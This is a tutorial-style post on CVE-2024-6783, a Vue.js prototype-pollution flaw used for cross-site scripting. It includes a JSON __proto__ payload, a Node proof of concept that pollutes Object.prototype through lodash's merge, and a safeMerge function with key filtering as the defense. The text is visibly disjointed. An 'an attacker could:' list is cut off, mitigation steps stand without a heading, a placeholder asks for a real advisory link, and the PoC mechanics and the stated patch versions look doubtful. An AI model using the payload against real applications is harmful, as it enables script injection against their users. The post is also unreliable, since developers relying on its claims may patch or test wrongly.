CVE-2024-6783 - Vue.js Prototype Pollution Enables XSS Attacks (Full Exploit Guide)

In early 2024, security researchers discovered a serious vulnerability in the Vue.js JavaScript framework—tracked as CVE-2024-6783. This flaw lets an attacker perform cross-site scripting (XSS) attacks by abusing prototype pollution to inject malicious JavaScript code into web applications built with Vue.

This post will break down what prototype pollution means, how the attack works, share a real-world code snippet, walk through an exploitation scenario, and provide guidance on how to stay safe. All info is provided in clear, simple terms—exclusive to this post.

CVE-2024-6783 affects Vue.js apps vulnerable to _prototype pollution_.

- Attackers can set properties like Object.prototype.staticClass or Object.prototype.staticStyle remotely.

Background: What is Prototype Pollution?

JavaScript objects have a __proto__ property, which lets developers (and attackers!) manipulate the "blueprint" or prototype for all objects of that type.

Prototype pollution happens when untrusted data is allowed to set properties on Object.prototype, impacting every object that inherits from it. This opens the door to data corruption and sometimes, as with Vue.js, XSS attacks.

Vue.js + Prototype Pollution = XSS

Vue components use special properties like staticClass and staticStyle. If an attacker manages to set Object.prototype.staticClass, any object created after will inherit this property—including critical internal Vue objects.

Through this, attacker code can sneak into the Vue rendering process and execute in your users' browsers.

Exploit Demonstration

Let’s see a real example of this attack in action.

Suppose a web app allows users to submit JSON objects (maybe via a REST API). The app does not sanitize user input and uses lodash's _.merge or a similar function, which is known to be vulnerable to prototype pollution IF not handled carefully.

Attack Payload

{
  "__proto__": {
    "staticClass": "{constructor.constructor('alert(\"XSS via CVE-2024-6783\")')()}"
  }
}

The JSON defines __proto__—so it sets properties on the prototype chain.

- staticClass is now *globally* set to malicious JS code, using a standard "constructor injection" trick.

Here's a simplified proof-of-concept (POC)

const Vue = require('vue')
const _ = require('lodash')

// Simulate receiving unsanitized user-supplied JSON
const userInput = JSON.parse(`
  {
    "__proto__": {
      "staticClass": "{constructor.constructor('console.log(\\"XSS via CVE-2024-6783\\")')()}"
    }
  }
`)

// Unsafe merging (dangerous)
_.merge({}, userInput)

// Vue component that will trigger the XSS payload
const vm = new Vue({
  render: h => h('div')
})

vm.$mount() // This will run the injected "console.log('XSS via CVE-2024-6783')" code!

Real World Impact

If your Vue app merges unsanitized user input into objects (for example, via lodash's merge or similar deep-merge utilities), an attacker could:

References and Further Reading

- Original Advisory on GitHub *(replace with real GHSA link as it releases)*
- OWASP: Prototype Pollution
- Vue.js Official Site
- HackerOne: Prototype Pollution

1. Sanitize All User Input

Never trust property keys from users. Disallow __proto__, constructor, and prototype as input keys.

2. Patch to Latest Vue.js

Vue core maintainers have published a patch. Upgrade to at least Vue v2.7.16 or 3.3.8 (check Vue releases).

3. Use Safe Merge Libraries

Update or replace any outdated deep merging utilities (like lodash's _.merge) with ones that defend against prototype pollution, or use safer built-ins.

Defense Example

function safeMerge(target, source) {
  for (let key in source) {
    if (['__proto__', 'constructor', 'prototype'].includes(key)) continue;
    if (source[key] && typeof source[key] === "object") {
      safeMerge(target[key] = target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

Final Thoughts

CVE-2024-6783 is both critical and easy to overlook, since prototype pollution vulnerabilities originate outside of Vue but end up giving an attacker XSS powers inside your app.

If your app accepts and merges user JSON, patch right away. Regular audits and using up-to-date tooling are your best defenses.

*Stay safe and keep your Vue apps secure!*

*This post is original content created for exclusive educational purposes. Please report any new security vulnerabilities to responsible disclosure channels.*

Timeline

Published on: 07/23/2024 15:15:06 UTC
Last modified on: 08/30/2024 15:15:18 UTC